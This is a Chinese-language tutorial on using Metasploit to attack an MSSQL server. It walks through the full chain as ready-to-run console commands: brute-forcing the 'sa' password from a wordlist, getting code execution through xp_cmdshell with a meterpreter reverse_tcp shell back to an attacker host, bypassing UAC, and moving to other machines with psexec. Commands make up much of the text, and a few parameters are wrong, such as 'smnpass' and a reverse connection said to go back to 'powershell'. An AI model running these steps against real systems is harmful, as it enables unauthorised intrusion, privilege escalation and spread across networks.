1. 简介
MSF是一个常用的开源安全软件,被广泛地应用于渗透测试中。MSSQL是一种关系型数据库,被广泛地使用于许多企业中。攻击MSSQL是渗透测试中的非常重要的一部分。在此,我们将介绍利用MSF攻击MSSQL服务器实现提权的方案。
2. MSF攻击MSSQL应急提权
2.1 进入MSSQL账户
在攻击MSSQL服务器之前,我们需要先通过MSF进入MSSQL账户。MSF中有许多的模块用于攻击MSSQL服务器,下面我们将使用auxiliary/scanner/mssql/mssql_login
模块尝试进入MSSQL账户。
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.1.100
set username sa
set pass_file /root/passwords.txt
run
上面的代码中,我们使用mssql_login
模块进行登录。我们在rhosts
参数中设置目标IP地址,在username
参数中设置登录名称,在pass_file
参数中设置一个密码文件。
2.2 获取管理员权限
在进入MSSQL账户之后,我们需要获取管理员权限。为此,我们使用MSF中的exploit/windows/mssql/mssql_payload
模块。在这个模块中,我们使用了MSSQL系统存储过程xp_cmdshell
,该存储过程可以使我们在MSSQL服务器上执行任意命令。
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.100
set username sa
set password xxxxxxxx
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.50
set lport 4444
run
上面的代码中,我们使用了mssql_payload
模块进行攻击。在rhosts
参数中设置目标IP地址,在username
参数中设置登录名称,在password
参数中设置登录密码,在payload
参数中设置后门功能,这里我们使用了windows/meterpreter/reverse_tcp
。在lhost
和lport
参数中设置反向连接回powershell的IP和端口。
2.3 使用meterpreter进行提权
在上一步中,我们已经成功地进入了MSSQL服务器并获取了管理员权限。接下来我们使用meterpreter进行提权。
use windows/local/bypassuac_eventvwr
set session 1
run
上面的代码中,我们使用了bypassuac_eventvwr
模块进行提权。在session
参数中设置我们之前获取到的会话号码。
2.4 横向渗透
在完成上述步骤之后,我们已经成功地获得了管理员权限并提权。现在可以进行横向渗透。
use exploit/windows/smb/psexec
set rhosts 192.168.1.101
set smbuser Administrator
set smnpass password
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.50
set lport 4444
run
上面的代码中,我们使用了psexec
模块进行横向渗透。在rhosts
参数中设置目标IP地址,在smbuser
参数中设置目标机器的管理员用户名,在smbpass
参数中设置管理员用户的密码,在payload
参数中设置后门的功能码,这里我们使用了windows/meterpreter/reverse_tcp
。在lhost
和lport
参数中设置反向连接回powershell的IP和端口。
3. 总结
在本文中,我们讨论了使用MSF攻击MSSQL服务器实现提权的方案。我们首先介绍了进入MSSQL账户的步骤,然后使用mssql_payload
模块获取管理员权限,并使用meterpreter进行提权。最后,我们利用psexec
模块进行横向渗透。